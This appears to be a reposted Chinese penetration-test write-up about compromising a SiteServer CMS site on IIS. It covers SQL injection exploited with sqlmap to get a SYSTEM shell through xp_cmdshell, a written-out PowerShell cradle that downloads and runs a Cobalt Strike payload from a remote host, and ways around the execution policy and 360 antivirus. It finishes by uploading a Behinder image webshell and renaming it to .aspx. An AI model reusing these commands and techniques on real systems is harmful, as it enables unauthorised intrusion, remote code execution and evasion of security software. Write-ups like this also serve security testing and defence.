網站使用vue aspx iis8.5搭建。網站登入框有版本號碼且url欄中存在siteserver字樣,因此懷疑是cms搭建的,但未見過該cms,使用谷歌搜尋發現該網站是用siteserver cms搭建的,版本為最新,且網路上提供的漏洞在此無法使用,在登入框嘗試注入弱口令驗證碼繞過未授權之類等等手段之後無果,由於具有測試的帳號,乾脆因此直接登入網站進行測試。
圖示為我從網路上尋找的登入圖片,紅框處當時是版本號碼而非cms提示。
進入後台之後簡單瀏覽了一下功能,多是一些頁面管理的功能,此處不再贅述,本文主要是從注入點切入。
一:上傳點的測試:多處存在上傳包括頭像,普通doc文件,編輯器上傳,經過測試,上傳功能均使用白名單進行限制,於是決定放棄上傳點,畢竟就算能上傳jpg也因為iis版本太高無法解析。 (但後來我看到一個文章iis8.5竟然用解析漏洞成功了)。
二:在一個「批次整理」功能處,抓包
#對搜尋點keyword參數進行sql注入測試,發現報錯,於是直接複製資料包丟到sqlmap跑。 python sqlmap.py -r 1.txt .
結果發現有堆疊查詢,且dba權限,直接使用--os-shell指令開啟xp_cmd取得shell .使用whoami指令發現當前權限直接是最高權限NT AUTHORITY\SYSTEM,開心了,除了這些洞以外再加上其他的點本來收拾收拾本次滲透就到此結束了。
但是這麼高的權限都到手了,不進一下內網都說不過去,本來想著很簡單的事情。
開啟vps,啟動cs,產生powershell馬,os-shell運行,等待上線,結果提示錯誤:
powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net .webclient).downloadstring('http://xxx:port/a'))"
第一是先看一下機器是否可以出網,ping了一下vps和dnslog沒問題的,所以嘗試使用cmd指令執行powershell:
cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "IEX ((new-object net.webclient).downloadstring('http ://xxx:port/a'))"
發現還是報同樣的錯,懷疑是引號的問題,於是百度了一下cmd中引號轉義使用^ ,結果還是不行。
然後旁邊的大佬說是不是window server 2012 r2 設定了powershell遠端下載執行策略,於是嘗試使用Get-ExecutionPolicy 查看,並使用Set-ExecutionPolicy 開啟,以下為本機示範(真實環境截圖忘了):
具體可參考該文章:https://blog.netspi.com/15-ways-to- bypass-the-powershell-execution-policy/
最終在真實環境成功修改powershell執行策略,再去執行指令還是不行,這個時候突然想到會不會是有殺軟在作怪,於是tasklist看了一下,好傢伙果然存在360防護(這裡也無截圖)。
猜測確實是360起了作用,這時候第一個想法就是繞過殺軟,之前沒有太接觸過殺軟之類的工具,http://jackson-t.ca/runtime-exec -payloads.html,直接在這裡面編碼了一下powershell 指令,結果也不能用,要不然再去借個馬,還要麻煩人家。
這時候突然想到sqlmap寫馬來上傳文件,但是mssql又沒有像mysql一樣函數(後來問了大佬sqlmap也可以在os-shell的情況下上傳文件(騷操作)),忽然想起來我剛剛測試時候多處功能點是有文件上傳功能的,雖然是白名單,但絲毫不影響我丟個圖片馬上去。說乾就乾,在頭像上傳處直接上傳冰蠍圖片馬,bingxie.jpg .然後在os-shell裡面使用copy命令重命名copy d:\abc\img\bingxie.jpg d:\abc\img\bingxie .aspx. 然後使用冰蠍連接,毫無疑問直接成功上線,完結撒花。
#以上是一次mssql注入+白名單上傳繞過360的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!